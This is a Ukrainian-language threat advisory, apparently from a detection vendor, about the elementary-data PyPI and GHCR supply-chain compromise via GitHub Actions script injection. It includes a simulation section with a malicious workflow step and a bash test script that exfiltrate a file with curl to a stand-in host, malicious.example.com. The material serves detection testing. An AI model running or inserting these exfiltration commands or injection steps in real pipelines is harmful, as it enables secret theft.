Elementary-data скомпрометовано на PyPI та GHCR через підроблений реліз на GitHub
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зловмисна версія elementary-data Python пакет, версія 0.23.3, була завантажена на PyPI, а відповідний скомпрометований контейнерний образ також було завантажено до реєстру GitHub Container. Зловмисник вставив зловмисний код в GitHub Actions workflow, підробив підписаний реліз, і потім використав токен робочого процесу для публікації бекдорних артефактів. Навантаження функціонувало як трьохетапний злодій облікових даних, розроблений для збору секретів і їх відправки на домен під контролем зловмисника. Будь-яке середовище, що встановлювало уражений пакет або витягало останній контейнерний образ, було під загрозою компрометації.
Розслідування
Розслідування показало, що атака почалася з коментаря до відкритого запиту на злиття, який був вставлений безпосередньо в сценарій робочого процесу, що дозволило виконати вприскування сценарію. Використовуючи GITHUB_TOKEN, зловмисник створив підроблений релізний фіксування і запустив процес публікації, який потім розповсюдив троянське колесо та образ Docker. Аналіз показав, що зловмисний .pth файл декодував обгортку Base64, дешифрував кінцевий компонент збору і збирав широкий набір облікових даних, перш ніж відправити їх на спеціальний домен командного управління через curl.
Захист
Розробники проекту видалили зловмисну версію пакету з PyPI та видалили скомпрометований образ з GHCR перед публікацією чистої заміни, версія 0.23.4. StepSecurity додав зловмисну версію пакету та домен під контролем зловмисника до чорного списку Harden-Runner і заблокував пакет під час виконання запитів на витяг. Розробники повинні використовувати фіксовані версії пакетів та дайджести образів, уникати полагання на плаваючі теги та перевіряти встановлені залежності на наявність неочікуваних .pth файлів.
Відповідь
Захисники повинні шукати наявність elementary.pth всередині site-packages і виявляти системи, які витягнули підозрілий дайджест образу Docker. Вихідні з’єднання до відомого домену командного управління повинні бути негайно заблоковані. Команди безпеки повинні сканувати робочі станції розробників та середовища побудови на наявність відкрити секретні матеріали, видалити будь-які скомпрометовані пакети та перевипустити уражені облікові дані. CI/CD конвеєри також повинні бути оновлені для перевірки походження пакету та впровадження суворої прив’язки образів.
Потік атаки
Виявлення
Можливе проникнення/відтік даних/C2 через сторонні служби/інструменти (через проксі)
Перегляд
Можливе проникнення/відтік даних/C2 через сторонні служби/інструменти (через DNS)
Перегляд
Віддалене завантаження файлів через стандартні інструменти (через командний рядок)
Перегляд
Індикатори компрометації (HashSha1) для виявлення: компрометація elementary-data на PyPI та GHCR: підроблений реліз, завантажений через вприскування скрипта GitHub Actions
Перегляд
Виявлення відтоку зловмисних даних через вприскування скрипта у GitHub Actions [Створення процесу в Linux]
Перегляд
Виявлення зловмисного пакету elementary-data з викрадачем облікових даних [Подія файлу Linux]
Перегляд
## Виконання симуляції
Передумова: Перевірка телеметрії та базової лінії повинна була пройти.
Обґрунтування: У цьому розділі детально розглядається точне виконання техніки противника (TTP), призначеної для активації правила виявлення. Команди та наративи безпосередньо відображають визначені TTP і спрямовані на створення саме тієї телеметрії, яка очікується логікою виявлення.
-
Опис атаки та команди:
Зловмисник скомпрометував репозиторій, що використовує GitHub Actions для CI/CD. Вони додають зловмисний крок у файл робочого процесу:- name: Exfiltrate data run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"Коли робочий процес запускається на виконавці GitHub Actions, дерево процесів виглядає так:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(батьківський процес)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(дочірній процес)
The
auditdзапис для кроку 2 містить командний рядок з обомаbashandcurl --data-binary, задовольняючи умову Sigma. -
Скрипт регресійного тестування:
#!/usr/bin/env bash # # Імітуйте зловмисний крок в GitHub Actions, який має активувати правило виявлення. # Створює тимчасовий файл, записує дані-муляж, а потім ексфільтрує їх за допомогою curl, обернутого в bash. set -euo pipefail # 1. Створити дані-муляж секретних даних tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "sensitive_information_$(date +%s)" > "$tmpfile" # 2. Виконати ексфільтрацію за допомогою вразливого шаблону bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. Вивести підтвердження для тестувальника echo "Ексфільтрацію зловмисника імітовано; тимчасовий файл $tmpfile повинен бути видалений очищенням." -
Команди очищення:
#!/usr/bin/env bash # Видалити будь-які тимчасові файли, створені під час симуляції rm -f /tmp/secret_data.* # За необхідності зупинити будь-які залишкові процеси curl (не має бути потрібно) pkill -f "curl --data-binary" || true